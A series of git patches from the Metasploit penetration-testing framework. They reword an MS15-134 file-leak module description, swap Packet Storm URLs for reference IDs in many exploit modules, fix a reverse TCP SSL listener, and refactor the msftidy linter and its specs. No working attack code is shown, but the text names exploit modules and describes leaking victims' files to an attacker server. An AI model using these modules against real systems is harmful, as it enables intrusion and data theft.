activesupport (>= 4.0.9, < 4.1.0) railties (>= 4.0.9, < 4.1.0) - metasploit-payloads (1.0.19) + metasploit-payloads (1.0.21) metasploit_data_models (1.2.10) activerecord (>= 4.0.9, < 4.1.0) activesupport (>= 4.0.9, < 4.1.0) diff --git a/metasploit-framework.gemspec b/metasploit-framework.gemspec index 47fcdf7877..5bd66ee2d3 100644 --- a/metasploit-framework.gemspec +++ b/metasploit-framework.gemspec @@ -68,7 +68,7 @@ Gem::Specification.new do |spec| # are needed when there's no database spec.add_runtime_dependency 'metasploit-model', '1.0.0' # Needed for Meterpreter - spec.add_runtime_dependency 'metasploit-payloads', '1.0.19' + spec.add_runtime_dependency 'metasploit-payloads', '1.0.21' # Needed by msfgui and other rpc components spec.add_runtime_dependency 'msgpack' # get list of network interfaces, like eth* from OS. From e191bf8ac30de407db991ce661927b2401dd9d01 Mon Sep 17 00:00:00 2001 From: wchen-r7 Date: Thu, 24 Dec 2015 10:35:05 -0600 Subject: [PATCH 1705/2172] Update description, and fix a typo --- modules/auxiliary/server/ms15_134_mcl_leak.rb | 8 ++++++-- 1 file changed, 6 insertions(+), 2 deletions(-) diff --git a/modules/auxiliary/server/ms15_134_mcl_leak.rb b/modules/auxiliary/server/ms15_134_mcl_leak.rb index 7b0645362f..1b97e2d2ea 100644 --- a/modules/auxiliary/server/ms15_134_mcl_leak.rb +++ b/modules/auxiliary/server/ms15_134_mcl_leak.rb @@ -17,8 +17,12 @@ class Metasploit3 < Msf::Auxiliary 'Name' => 'MS15-134 Microsoft Windows Media Center MCL Information Disclosure', 'Description' => %q{ This module exploits a vulnerability found in Windows Media Center. It allows an MCL - file to render itself as a HTML document in the local machine zone by Internet Explorer, + file to render itself as an HTML document in the local machine zone by Internet Explorer, which can be used to leak files on the target machine. + + Please be aware that if this exploit is used against a patched Windows, it can cause the + computer to be very slow or unresponsive (100% CPU). It seems to be related to how the + exploit uses the URL attribute in order to render itself as an HTML file. }, 'Author' => [ @@ -115,7 +119,7 @@ for (var i=0; i < files.length; i++) { file_create(mcl) print_status("Pass #{datastore['FILENAME']} to the target you wish to exploit.") print_status("When the MCL is executed, it should start sending data (files) back") - print_status("back to our web server.") + print_status("to our web server.") end def is_ie?(request) From 27a6aa0be1444a07b90082436d1bc0a35b1f74da Mon Sep 17 00:00:00 2001 From: Jon Hart Date: Thu, 24 Dec 2015 09:05:02 -0800 Subject: [PATCH 1706/2172] Fix current msftidy warnings about PACKETSTORM vs URL --- .../auxiliary/admin/http/dlink_dir_645_password_extractor.rb | 2 +- modules/auxiliary/scanner/http/goahead_traversal.rb | 2 +- .../scanner/http/support_center_plus_directory_traversal.rb | 2 +- modules/exploits/linux/http/linksys_themoon_exec.rb | 4 ++-- .../linux/ssh/loadbalancerorg_enterprise_known_privkey.rb | 2 +- modules/exploits/linux/ssh/quantum_dxi_known_privkey.rb | 2 +- modules/exploits/linux/ssh/quantum_vmpro_backdoor.rb | 2 +- modules/exploits/multi/browser/java_storeimagearray.rb | 2 +- modules/exploits/unix/ssh/array_vxag_vapv_privkey_privesc.rb | 2 +- modules/exploits/unix/webapp/clipbucket_upload_exec.rb | 2 +- modules/exploits/unix/webapp/instantcms_exec.rb | 2 +- modules/exploits/unix/webapp/skybluecanvas_exec.rb | 2 +- modules/exploits/unix/webapp/zeroshell_exec.rb | 2 +- .../windows/browser/ms13_022_silverlight_script_object.rb | 2 +- 14 files changed, 15 insertions(+), 15 deletions(-) diff --git a/modules/auxiliary/admin/http/dlink_dir_645_password_extractor.rb b/modules/auxiliary/admin/http/dlink_dir_645_password_extractor.rb index 533a7d5074..e7e9f7de48 100644 --- a/modules/auxiliary/admin/http/dlink_dir_645_password_extractor.rb +++ b/modules/auxiliary/admin/http/dlink_dir_645_password_extractor.rb @@ -22,7 +22,7 @@ class Metasploit3 < Msf::Auxiliary [ [ 'OSVDB', '90733' ], [ 'BID', '58231' ], - [ 'URL', 'http://packetstormsecurity.com/files/120591/dlinkdir645-bypass.txt' ] + [ 'PACKETSTORM', '120591' ] ], 'Author' => [ diff --git a/modules/auxiliary/scanner/http/goahead_traversal.rb b/modules/auxiliary/scanner/http/goahead_traversal.rb index b86ac1dd64..0dd40c9e34 100644 --- a/modules/auxiliary/scanner/http/goahead_traversal.rb +++ b/modules/auxiliary/scanner/http/goahead_traversal.rb @@ -22,7 +22,7 @@ class Metasploit3 < Msf::Auxiliary 'References' => [ ['CVE', '2014-9707'], - ['URL', 'http://packetstormsecurity.com/files/131156/GoAhead-3.4.1-Heap-Overflow-Traversal.html'] + ['PACKETSTORM', '131156'] ], 'Author' => [ diff --git a/modules/auxiliary/scanner/http/support_center_plus_directory_traversal.rb b/modules/auxiliary/scanner/http/support_center_plus_directory_traversal.rb index 20a6a414ae..ad2a235717 100644 --- a/modules/auxiliary/scanner/http/support_center_plus_directory_traversal.rb +++ b/modules/auxiliary/scanner/http/support_center_plus_directory_traversal.rb @@ -29,7 +29,7 @@ class Metasploit3 < Msf::Auxiliary ['EDB', '31262'], ['OSVDB', '102656'], ['BID', '65199'], - ['URL', 'http://packetstormsecurity.com/files/124975/ManageEngine-Support-Center-Plus-7916-Directory-Traversal.html'] + ['PACKETSTORM', '124975'] ], 'DisclosureDate' => "Jan 28 2014" )) diff --git a/modules/exploits/linux/http/linksys_themoon_exec.rb b/modules/exploits/linux/http/linksys_themoon_exec.rb index 274e17cfce..1831de7645 100644 --- a/modules/exploits/linux/http/linksys_themoon_exec.rb +++ b/modules/exploits/linux/http/linksys_themoon_exec.rb @@ -35,8 +35,8 @@ class Metasploit3 < Msf::Exploit::Remote [ 'EDB', '31683' ], [ 'BID', '65585' ], [ 'OSVDB', '103321' ], - [ 'URL', 'http://packetstormsecurity.com/files/125253/linksyseseries-exec.txt' ], - [ 'URL', 'http://packetstormsecurity.com/files/125252/Linksys-Worm-Remote-Root.html' ], + [ 'PACKETSTORM', '125253' ], + [ 'PACKETSTORM', '125252' ], [ 'URL', 'https://isc.sans.edu/diary/Linksys+Worm+%22TheMoon%22+Summary%3A+What+we+know+so+far/17633' ], [ 'URL', 'https://isc.sans.edu/forums/diary/Linksys+Worm+TheMoon+Captured/17630' ] ], diff --git a/modules/exploits/linux/ssh/loadbalancerorg_enterprise_known_privkey.rb b/modules/exploits/linux/ssh/loadbalancerorg_enterprise_known_privkey.rb index 711684f430..3a33e74fb0 100644 --- a/modules/exploits/linux/ssh/loadbalancerorg_enterprise_known_privkey.rb +++ b/modules/exploits/linux/ssh/loadbalancerorg_enterprise_known_privkey.rb @@ -35,7 +35,7 @@ class Metasploit3 < Msf::Exploit::Remote 'License' => MSF_LICENSE, 'References' => [ - ['URL', 'http://packetstormsecurity.com/files/125754/Loadbalancer.org-Enterprise-VA-7.5.2-Static-SSH-Key.html'] + ['PACKETSTORM', '125754'] ], 'DisclosureDate' => "Mar 17 2014", 'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/interact' }, diff --git a/modules/exploits/linux/ssh/quantum_dxi_known_privkey.rb b/modules/exploits/linux/ssh/quantum_dxi_known_privkey.rb index e8fdfc48b3..3a68d2f957 100644 --- a/modules/exploits/linux/ssh/quantum_dxi_known_privkey.rb +++ b/modules/exploits/linux/ssh/quantum_dxi_known_privkey.rb @@ -33,7 +33,7 @@ class Metasploit3 < Msf::Exploit::Remote 'License' => MSF_LICENSE, 'References' => [ - ['URL', 'http://packetstormsecurity.com/files/125755/quantum-root.txt'] + ['PACKETSTORM', '125755'] ], 'DisclosureDate' => "Mar 17 2014", 'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/interact' }, diff --git a/modules/exploits/linux/ssh/quantum_vmpro_backdoor.rb b/modules/exploits/linux/ssh/quantum_vmpro_backdoor.rb index adaf2121bd..83e5191308 100644 --- a/modules/exploits/linux/ssh/quantum_vmpro_backdoor.rb +++ b/modules/exploits/linux/ssh/quantum_vmpro_backdoor.rb @@ -27,7 +27,7 @@ class Metasploit3 < Msf::Exploit::Remote ], 'References' => [ - ['URL', 'http://packetstormsecurity.com/files/125760/quantumvmpro-backdoor.txt'] + ['PACKETSTORM', '125760'] ], 'DefaultOptions' => { diff --git a/modules/exploits/multi/browser/java_storeimagearray.rb b/modules/exploits/multi/browser/java_storeimagearray.rb index e682288d15..cab28b512a 100644 --- a/modules/exploits/multi/browser/java_storeimagearray.rb +++ b/modules/exploits/multi/browser/java_storeimagearray.rb @@ -37,7 +37,7 @@ class Metasploit3 < Msf::Exploit::Remote [ 'CVE', '2013-2465' ], [ 'OSVDB', '96269' ], [ 'EDB', '27526' ], - [ 'URL', 'http://packetstormsecurity.com/files/122777/' ], + [ 'PACKETSTORM', '122777' ], [ 'URL', 'http://hg.openjdk.java.net/jdk7u/jdk7u-dev/jdk/rev/2a9c79db0040' ] ], 'Platform' => %w{ java linux win }, diff --git a/modules/exploits/unix/ssh/array_vxag_vapv_privkey_privesc.rb b/modules/exploits/unix/ssh/array_vxag_vapv_privkey_privesc.rb index 62157107f4..02376c7c19 100644 --- a/modules/exploits/unix/ssh/array_vxag_vapv_privkey_privesc.rb +++ b/modules/exploits/unix/ssh/array_vxag_vapv_privkey_privesc.rb @@ -32,7 +32,7 @@ class Metasploit3 < Msf::Exploit::Remote ['OSVDB', '104652'], ['OSVDB', '104653'], ['OSVDB', '104654'], - ['URL', 'http://packetstormsecurity.com/files/125761/Array-Networks-vxAG-xAPV-Privilege-Escalation.html'] + ['PACKETSTORM', '125761'] ], 'DefaultOptions' => { diff --git a/modules/exploits/unix/webapp/clipbucket_upload_exec.rb b/modules/exploits/unix/webapp/clipbucket_upload_exec.rb index 91c04fd55a..55abc7908c 100644 --- a/modules/exploits/unix/webapp/clipbucket_upload_exec.rb +++ b/modules/exploits/unix/webapp/clipbucket_upload_exec.rb @@ -28,7 +28,7 @@ class Metasploit3 < Msf::Exploit::Remote ], 'References' => [ - [ 'URL', 'http://packetstormsecurity.com/files/123480/ClipBucket-Remote-Code-Execution.html' ] + [ 'PACKETSTORM', '123480' ] ], 'Platform' => ['php'], 'Arch' => ARCH_PHP, diff --git a/modules/exploits/unix/webapp/instantcms_exec.rb b/modules/exploits/unix/webapp/instantcms_exec.rb index 570fb63323..0fb2359c31 100644 --- a/modules/exploits/unix/webapp/instantcms_exec.rb +++ b/modules/exploits/unix/webapp/instantcms_exec.rb @@ -24,7 +24,7 @@ class Metasploit3 < Msf::Exploit::Remote 'References' => [ [ 'BID', '60816' ], - [ 'URL', 'http://packetstormsecurity.com/files/122176/InstantCMS-1.6-Code-Execution.html' ] + [ 'PACKETSTORM', '122176' ] ], 'Privileged' => false, 'Platform' => 'php', diff --git a/modules/exploits/unix/webapp/skybluecanvas_exec.rb b/modules/exploits/unix/webapp/skybluecanvas_exec.rb index 7c48cb9502..a67c67bbb0 100644 --- a/modules/exploits/unix/webapp/skybluecanvas_exec.rb +++ b/modules/exploits/unix/webapp/skybluecanvas_exec.rb @@ -29,7 +29,7 @@ class Metasploit3 < Msf::Exploit::Remote ['OSVDB', '102586'], ['BID', '65129'], ['EDB', '31183'], - ['URL', 'http://packetstormsecurity.com/files/124948/SkyBlueCanvas-CMS-1.1-r248-03-Command-Injection.html'] + ['PACKETSTORM', '124948'] ], 'Privileged' => false, 'Payload' => diff --git a/modules/exploits/unix/webapp/zeroshell_exec.rb b/modules/exploits/unix/webapp/zeroshell_exec.rb index 6b77a26165..2fb30b494a 100644 --- a/modules/exploits/unix/webapp/zeroshell_exec.rb +++ b/modules/exploits/unix/webapp/zeroshell_exec.rb @@ -31,7 +31,7 @@ class Metasploit3 < Msf::Exploit::Remote ], 'References' => [ - [ 'URL', 'http://packetstormsecurity.com/files/122799/ZeroShell-2.0RC2-File-Disclosure-Command-Execution.html' ] + [ 'PACKETSTORM', '122799' ] ], 'Platform' => ['linux'], 'Arch' => ARCH_X86, diff --git a/modules/exploits/windows/browser/ms13_022_silverlight_script_object.rb b/modules/exploits/windows/browser/ms13_022_silverlight_script_object.rb index f82f7a1504..cb409f5da7 100644 --- a/modules/exploits/windows/browser/ms13_022_silverlight_script_object.rb +++ b/modules/exploits/windows/browser/ms13_022_silverlight_script_object.rb @@ -47,7 +47,7 @@ class Metasploit3 < Msf::Exploit::Remote [ 'BID', '62793' ], [ 'MSB', 'MS13-022' ], [ 'MSB', 'MS13-087' ], - [ 'URL', 'http://packetstormsecurity.com/files/123731/' ] + [ 'PACKETSTORM', '123731' ] ], 'DefaultOptions' => { From 283cf5b86913458f41c7f8de9ac4cf73c688c38d Mon Sep 17 00:00:00 2001 From: Jon Hart Date: Thu, 24 Dec 2015 09:12:24 -0800 Subject: [PATCH 1707/2172] Update msftidy to catch more potential URL vs PACKETSTORM warnings Fix the affected modules --- modules/auxiliary/admin/http/intersil_pass_reset.rb | 2 +- .../auxiliary/scanner/http/wp_mobile_pack_info_disclosure.rb | 2 +- modules/exploits/unix/webapp/cakephp_cache_corruption.rb | 2 +- modules/exploits/unix/webapp/nagios_graph_explorer.rb | 2 +- modules/exploits/unix/webapp/projectpier_upload_exec.rb | 2 +- modules/exploits/windows/http/miniweb_upload_wbem.rb | 2 +- tools/dev/msftidy.rb | 2 +- 7 files changed, 7 insertions(+), 7 deletions(-) diff --git a/modules/auxiliary/admin/http/intersil_pass_reset.rb b/modules/auxiliary/admin/http/intersil_pass_reset.rb index e397eb9f3f..335c0e050d 100644 --- a/modules/auxiliary/admin/http/intersil_pass_reset.rb +++ b/modules/auxiliary/admin/http/intersil_pass_reset.rb @@ -33,7 +33,7 @@ class Metasploit3 < Msf::Auxiliary 'References' => [ [ 'BID', '25676'], - [ 'URL', 'http://packetstormsecurity.org/files/59347/boa-bypass.txt.html'] + [ 'PACKETSTORM', '59347'] ], 'DisclosureDate' => 'Sep 10 2007')) diff --git a/modules/auxiliary/scanner/http/wp_mobile_pack_info_disclosure.rb b/modules/auxiliary/scanner/http/wp_mobile_pack_info_disclosure.rb index 7b44f004e9..6c8259c09f 100644 --- a/modules/auxiliary/scanner/http/wp_mobile_pack_info_disclosure.rb +++ b/modules/auxiliary/scanner/http/wp_mobile_pack_info_disclosure.rb @@ -22,7 +22,7 @@ class Metasploit3 < Msf::Auxiliary 'References' => [ ['WPVDB', '8107'], - ['URL', 'https://packetstormsecurity.com/files/132750/'] + ['PACKETSTORM', '132750'] ], 'Author' => [ diff --git a/modules/exploits/unix/webapp/cakephp_cache_corruption.rb b/modules/exploits/unix/webapp/cakephp_cache_corruption.rb index 946c4ea726..045be447c2 100644 --- a/modules/exploits/unix/webapp/cakephp_cache_corruption.rb +++ b/modules/exploits/unix/webapp/cakephp_cache_corruption.rb @@ -31,7 +31,7 @@ class Metasploit3 < Msf::Exploit::Remote [ 'OSVDB', '69352' ], [ 'CVE', '2010-4335' ], [ 'BID', '44852' ], - [ 'URL', 'http://packetstormsecurity.org/files/view/95847/burnedcake.py.txt' ] + [ 'PACKETSTORM', '95847' ] ], 'Privileged' => false, 'Platform' => ['php'], diff --git a/modules/exploits/unix/webapp/nagios_graph_explorer.rb b/modules/exploits/unix/webapp/nagios_graph_explorer.rb index e911858220..44a9e6123d 100644 --- a/modules/exploits/unix/webapp/nagios_graph_explorer.rb +++ b/modules/exploits/unix/webapp/nagios_graph_explorer.rb @@ -29,7 +29,7 @@ class Metasploit3 < Msf::Exploit::Remote [ [ 'OSVDB', '83552' ], [ 'BID', '54263' ], - [ 'URL', 'http://packetstormsecurity.org/files/118497/Nagios-XI-Network-Monitor-2011R1.9-OS-Command-Injection.html' ] + [ 'PACKETSTORM', '118497' ] ], 'Payload' => { diff --git a/modules/exploits/unix/webapp/projectpier_upload_exec.rb b/modules/exploits/unix/webapp/projectpier_upload_exec.rb index f00354ae63..402c9a0d33 100644 --- a/modules/exploits/unix/webapp/projectpier_upload_exec.rb +++ b/modules/exploits/unix/webapp/projectpier_upload_exec.rb @@ -32,7 +32,7 @@ class Metasploit3 < Msf::Exploit::Remote [ ['OSVDB', '85881'], ['EDB', '21929'], - ['URL', 'http://packetstormsecurity.org/files/117070/ProjectPier-0.8.8-Shell-Upload.html'] + ['PACKETSTORM', '117070'] ], 'Platform' => %w{ linux php }, 'Targets' => diff --git a/modules/exploits/windows/http/miniweb_upload_wbem.rb b/modules/exploits/windows/http/miniweb_upload_wbem.rb index 3f5924d00e..23aa9083fa 100644 --- a/modules/exploits/windows/http/miniweb_upload_wbem.rb +++ b/modules/exploits/windows/http/miniweb_upload_wbem.rb @@ -38,7 +38,7 @@ class Metasploit3 < Msf::Exploit::Remote [ ['OSVDB', '92198'], ['OSVDB', '92200'], - ['URL', 'http://dl.packetstormsecurity.net/1304-exploits/miniweb-shelltraversal.txt'] + ['PACKETSTORM', '121168'] ], 'Payload' => { diff --git a/tools/dev/msftidy.rb b/tools/dev/msftidy.rb index 19b95e2053..1f17891ccd 100755 --- a/tools/dev/msftidy.rb +++ b/tools/dev/msftidy.rb @@ -210,7 +210,7 @@ class Msftidy warn("Please use 'US-CERT-VU' for '#{value}'") elsif value =~ /^https:\/\/wpvulndb\.com\/vulnerabilities\// warn("Please use 'WPVDB' for '#{value}'") - elsif value =~ /^http:\/\/packetstormsecurity\.com\/files\// + elsif value =~ /^https?:\/\/(?:[^\.]+\.)?packetstormsecurity\.(?:com|net|org)\// warn("Please use 'PACKETSTORM' for '#{value}'") end end From beb2fa9f92bd5f4504f4d1b35fd97b9f5231c9d8 Mon Sep 17 00:00:00 2001 From: Jon Hart Date: Thu, 24 Dec 2015 09:20:21 -0800 Subject: [PATCH 1708/2172] Use bind_addresses rather than bind_address; fixes #6394 --- lib/msf/core/handler/reverse_tcp_ssl.rb | 4 +--- 1 file changed, 1 insertion(+), 3 deletions(-) diff --git a/lib/msf/core/handler/reverse_tcp_ssl.rb b/lib/msf/core/handler/reverse_tcp_ssl.rb index dc9a71e9cb..bda3ee8abf 100644 --- a/lib/msf/core/handler/reverse_tcp_ssl.rb +++ b/lib/msf/core/handler/reverse_tcp_ssl.rb @@ -50,9 +50,7 @@ module ReverseTcpSsl comm = select_comm local_port = bind_port - addrs = bind_address - - addrs.each { |ip| + bind_addresses.each { |ip| begin self.listener_sock = Rex::Socket::SslTcpServer.create( From 140637ef4324a031a65726aa06e4463fcae520d6 Mon Sep 17 00:00:00 2001 From: Jon Hart Date: Thu, 24 Dec 2015 10:54:13 -0800 Subject: [PATCH 1709/2172] Refactor msftidy to allow easier stdout/stderr testing --- tools/dev/msftidy.rb | 123 +++++++++++++++++++++---------------------- 1 file changed, 61 insertions(+), 62 deletions(-) diff --git a/tools/dev/msftidy.rb b/tools/dev/msftidy.rb index 73d9aee2a3..caa1c17474 100755 --- a/tools/dev/msftidy.rb +++ b/tools/dev/msftidy.rb @@ -465,9 +465,9 @@ class Msftidy def check_bad_terms # "Stack overflow" vs "Stack buffer overflow" - See explanation: # http://blogs.technet.com/b/srd/archive/2009/01/28/stack-overflow-stack-exhaustion-not-the-same-as-stack-buffer-overflow.aspx - if @source =~ /class Metasploit\d < Msf::Exploit::Remote/ and @source.gsub("\n", "") =~ /stack[[:space:]]+overflow/i + if @module_type == 'exploit' && @source.gsub("\n", "") =~ /stack[[:space:]]+overflow/i warn('Contains "stack overflow" You mean "stack buffer overflow"?') - elsif @source =~ /class Metasploit\d < Msf::Auxiliary/ and @source.gsub("\n", "") =~ /stack[[:space:]]+overflow/i + elsif @module_type == 'auxiliary' && @source.gsub("\n", "") =~ /stack[[:space:]]+overflow/i warn('Contains "stack overflow" You mean "stack exhaustion"?') end end @@ -585,7 +585,7 @@ class Msftidy end # Auxiliary modules do not have a rank attribute - if ln =~ /^\s*Rank\s*=\s*/ and @source =~ /<\sMsf::Auxiliary/ + if ln =~ /^\s*Rank\s*=\s*/ && @module_type == 'auxiliary' warn("Auxiliary modules have no 'Rank': #{ln}", idx) end @@ -680,6 +680,40 @@ class Msftidy end end + # + # Run all the msftidy checks. + # + def run_checks + check_mode + check_shebang + check_nokogiri + check_rubygems + check_ref_identifiers + check_old_keywords + check_verbose_option + check_badchars + check_extname + check_old_rubies + check_ranking + check_disclosure_date + check_title_casing + check_bad_terms + check_bad_super_class + check_function_basics + check_lines + check_snake_case_filename + check_comment_splat + check_vuln_codes + check_vars_get + check_newline_eof + check_sock_get + check_udp_sock_get + check_invalid_url_scheme + check_print_debug + check_register_datastore_debug + check_use_datastore_debug + end + private def load_file(file) @@ -698,72 +732,37 @@ class Msftidy end end -# -# Run all the msftidy checks. -# -# @param full_filepath [String] The full file path to check -# @return status [Integer] A status code suitable for use as an exit status -def run_checks(full_filepath) - tidy = Msftidy.new(full_filepath) - tidy.check_mode - tidy.check_shebang - tidy.check_nokogiri - tidy.check_rubygems - tidy.check_ref_identifiers - tidy.check_old_keywords - tidy.check_verbose_option - tidy.check_badchars - tidy.check_extname - tidy.check_old_rubies - tidy.check_ranking - tidy.check_disclosure_date - tidy.check_title_casing - tidy.check_bad_terms - tidy.check_bad_super_class - tidy.check_function_basics - tidy.check_lines - tidy.check_snake_case_filename - tidy.check_comment_splat - tidy.check_vuln_codes - tidy.check_vars_get - tidy.check_newline_eof - tidy.check_sock_get - tidy.check_udp_sock_get - tidy.check_invalid_url_scheme - tidy.check_print_debug - tidy.check_register_datastore_debug - tidy.check_use_datastore_debug - return tidy -end - ## # # Main program # ## -dirs = ARGV +if __FILE__ == $PROGRAM_NAME + dirs = ARGV -@exit_status = 0 + @exit_status = 0 -if dirs.length < 1 - $stderr.puts "Usage: #{File.basename(__FILE__)} " - @exit_status = 1 - exit(@exit_status) -end - -dirs.each do |dir| - begin - Find.find(dir) do |full_filepath| - next if full_filepath =~ /\.git[\x5c\x2f]/ - next unless File.file? full_filepath - next unless full_filepath =~ /\.rb$/ - msftidy = run_checks(full_filepath) - @exit_status = msftidy.status if (msftidy.status > @exit_status.to_i) - end - rescue Errno::ENOENT - $stderr.puts "#{File.basename(__FILE__)}: #{dir}: No such file or directory" + if dirs.length < 1 + $stderr.puts "Usage: #{File.basename(__FILE__)} " + @exit_status = 1 + exit(@exit_status) end -end -exit(@exit_status.to_i) + dirs.each do |dir| + begin + Find.find(dir) do |full_filepath| + next if full_filepath =~ /\.git[\x5c\x2f]/ + next unless File.file? full_filepath + next unless full_filepath =~ /\.rb$/ + msftidy = Msftidy.new(full_filepath) + msftidy.run_checks + @exit_status = msftidy.status if (msftidy.status > @exit_status.to_i) + end + rescue Errno::ENOENT + $stderr.puts "#{File.basename(__FILE__)}: #{dir}: No such file or directory" + end + end + + exit(@exit_status.to_i) +end From f029cd0c9abeff3a0debca1ad57262e991a2bec9 Mon Sep 17 00:00:00 2001 From: Jon Hart Date: Thu, 24 Dec 2015 10:54:51 -0800 Subject: [PATCH 1710/2172] Add common helpers for capturing stdout/stderr --- spec/spec_helper.rb | 24 ++++++++++++++++++++++++ 1 file changed, 24 insertions(+) diff --git a/spec/spec_helper.rb b/spec/spec_helper.rb index d29e9fd1ac..aa531c81af 100644 --- a/spec/spec_helper.rb +++ b/spec/spec_helper.rb @@ -1,4 +1,6 @@ # -*- coding: binary -*- +require 'stringio' + ENV['RAILS_ENV'] = 'test' unless Bundler.settings.without.include?(:coverage) @@ -97,3 +99,25 @@ end Metasploit::Framework::Spec::Constants::Suite.configure! Metasploit::Framework::Spec::Threads::Suite.configure! + +def get_stdout(&block) + out = $stdout + $stdout = tmp = StringIO.new + begin + yield + ensure + $stdout = out + end + tmp.string +end + +def get_stderr(&block) + out = $stderr + $stderr = tmp = StringIO.new + begin + yield + ensure + $stderr = out + end + tmp.string +end From be84ed13a25a1f9846b0cdad389d452c251fb325 Mon Sep 17 00:00:00 2001 From: Jon Hart Date: Thu, 24 Dec 2015 10:55:13 -0800 Subject: [PATCH 1711/2172] Update msftidy spec to be more easily added to --- .../modules/auxiliary/auxiliary_untidy.rb | 2 ++ spec/tools/dev/msftidy_spec.rb | 36 +++++++++++++------ 2 files changed, 28 insertions(+), 10 deletions(-) diff --git a/spec/file_fixtures/modules/auxiliary/auxiliary_untidy.rb b/spec/file_fixtures/modules/auxiliary/auxiliary_untidy.rb index ddf7c73da2..b349619004 100644 --- a/spec/file_fixtures/modules/auxiliary/auxiliary_untidy.rb +++ b/spec/file_fixtures/modules/auxiliary/auxiliary_untidy.rb @@ -7,6 +7,8 @@ require 'msf/core' # XXX: invalid super class for an auxiliary module class Metasploit4 < Msf::Exploit + # XXX: auxiliary modules don't use Rank + Rank = LowRanking def initialize(info = {}) super( update_info( diff --git a/spec/tools/dev/msftidy_spec.rb b/spec/tools/dev/msftidy_spec.rb index c48c97c2b5..bf9f115f85 100644 --- a/spec/tools/dev/msftidy_spec.rb +++ b/spec/tools/dev/msftidy_spec.rb @@ -1,32 +1,48 @@ -RSpec.describe 'msftidy utility' do - let(:msftidy) { File.expand_path('tools/dev/msftidy.rb') } +require 'spec_helper' - it "shows Usage if invalid arguments are provided" do - expect { system(msftidy) }.to output(/Usage/).to_stderr_from_any_process - end +load Metasploit::Framework.root.join('tools/dev/msftidy.rb').to_path +RSpec.describe Msftidy do context "with a tidy auxiliary module" do let(:auxiliary_tidy) { File.expand_path('modules/auxiliary/auxiliary_tidy.rb', FILE_FIXTURES_PATH) } + let(:msftidy) { Msftidy.new(auxiliary_tidy) } + + before(:each) do + @msftidy_stdout = get_stdout { msftidy.run_checks } + end it "outputs nothing" do - expect { system("#{msftidy} #{auxiliary_tidy}") }.to_not output.to_stdout_from_any_process + expect(@msftidy_stdout).to be_empty end end context "with an untidy auxiliary module" do let(:auxiliary_untidy) { File.expand_path('modules/auxiliary/auxiliary_untidy.rb', FILE_FIXTURES_PATH) } + let(:msftidy) { Msftidy.new(auxiliary_untidy) } - it "outputs expected errors and warnings" do - expect { system("#{msftidy} #{auxiliary_untidy}") }.to \ - output(/ERROR.*Invalid super class for auxiliary module/).to_stdout_from_any_process + before(:each) do + @msftidy_stdout = get_stdout { msftidy.run_checks } + end + + it "ERRORs when invalid superclass" do + expect(@msftidy_stdout).to match(/ERROR.*Invalid super class for auxiliary module/) + end + + it "WARNINGs when specifying Rank" do + expect(@msftidy_stdout).to match(/WARNING.*Rank/) end end context "with a tidy payload module" do let(:payload_tidy) { File.expand_path('modules/payloads/payload_tidy.rb', FILE_FIXTURES_PATH) } + let(:msftidy) { Msftidy.new(payload_tidy) } + + before(:each) do + @msftidy_stdout = get_stdout { msftidy.run_checks } + end it "outputs nothing" do - expect { system("#{msftidy} #{payload_tidy}") }.to_not output.to_stdout_from_any_process + expect(@msftidy_stdout).to be_empty end end end From 46a3c839b45d69c32a258b1d5470ef890e2b52f3 Mon Sep 17 00:00:00 2001 From: Jon Hart Date: Thu, 24 Dec 2015 11:03:11 -0800 Subject: [PATCH 1712/2172] Refactor existing tests that had been duplicating get_std* --- .../msf/core/exploit/browser_autopwn2_spec.rb | 16 ++----------- spec/tools/egghunter_spec.rb | 14 +---------- spec/tools/md5_lookup_spec.rb | 12 +--------- spec/tools/msu_finder_spec.rb | 24 +------------------ spec/tools/virustotal_spec.rb | 13 ---------- 5 files changed, 5 insertions(+), 74 deletions(-) diff --git a/spec/lib/msf/core/exploit/browser_autopwn2_spec.rb b/spec/lib/msf/core/exploit/browser_autopwn2_spec.rb index 4efb6884b3..c4455a00a9 100644 --- a/spec/lib/msf/core/exploit/browser_autopwn2_spec.rb +++ b/spec/lib/msf/core/exploit/browser_autopwn2_spec.rb @@ -1,4 +1,5 @@ require 'msf/core' +require 'spec_helper' RSpec.describe Msf::Exploit::Remote::BrowserAutopwn2 do @@ -759,19 +760,6 @@ RSpec.describe Msf::Exploit::Remote::BrowserAutopwn2 do describe 'when outputing' do - # Get stdout: - # http://stackoverflow.com/questions/11349270/test-output-to-command-line-with-rspec - def get_stdout(&block) - out = $stdout - $stdout = fake = StringIO.new - begin - yield - ensure - $stdout = out - end - fake.string - end - before(:each) do allow(subject).to receive(:print_status) { |arg| $stdout.puts arg } allow(subject).to receive(:print_line) { |arg| $stdout.puts arg } @@ -873,4 +861,4 @@ RSpec.describe Msf::Exploit::Remote::BrowserAutopwn2 do end -end \ No newline at end of file +end diff --git a/spec/tools/egghunter_spec.rb b/spec/tools/egghunter_spec.rb index 9c6de9aafd..e029111ba9 100644 --- a/spec/tools/egghunter_spec.rb +++ b/spec/tools/egghunter_spec.rb @@ -1,6 +1,5 @@ load Metasploit::Framework.root.join('tools/exploit/egghunter.rb').to_path - -require 'stringio' +require 'spec_helper' RSpec.describe Egghunter do @@ -16,17 +15,6 @@ RSpec.describe Egghunter do describe '#run' do - def get_stdout(&block) - out = $stdout - $stdout = fake = StringIO.new - begin - yield - ensure - $stdout = out - end - fake.string - end - let(:default_opts) { { :platform => 'windows', :format => 'c', :eggtag => egg, :arch => 'x86' } } diff --git a/spec/tools/md5_lookup_spec.rb b/spec/tools/md5_lookup_spec.rb index 78cd2b85c0..76d9ba5d8d 100644 --- a/spec/tools/md5_lookup_spec.rb +++ b/spec/tools/md5_lookup_spec.rb @@ -1,4 +1,5 @@ load Metasploit::Framework.root.join('tools/password/md5_lookup.rb').to_path +require 'spec_helper' require 'rex/proto/http/response' require 'stringio' @@ -70,17 +71,6 @@ RSpec.describe Md5LookupUtility do end end - def get_stdout(&block) - out = $stdout - $stdout = fake = StringIO.new - begin - yield - ensure - $stdout = out - end - fake.string - end - # # Tests start here # diff --git a/spec/tools/msu_finder_spec.rb b/spec/tools/msu_finder_spec.rb index 9b93a5fdf7..2d882699d0 100644 --- a/spec/tools/msu_finder_spec.rb +++ b/spec/tools/msu_finder_spec.rb @@ -2,6 +2,7 @@ load Metasploit::Framework.root.join('tools/exploit/msu_finder.rb').to_path require 'nokogiri' require 'uri' +require 'spec_helper' RSpec.describe MicrosoftPatchFinder do @@ -60,29 +61,6 @@ RSpec.describe MicrosoftPatchFinder do end describe 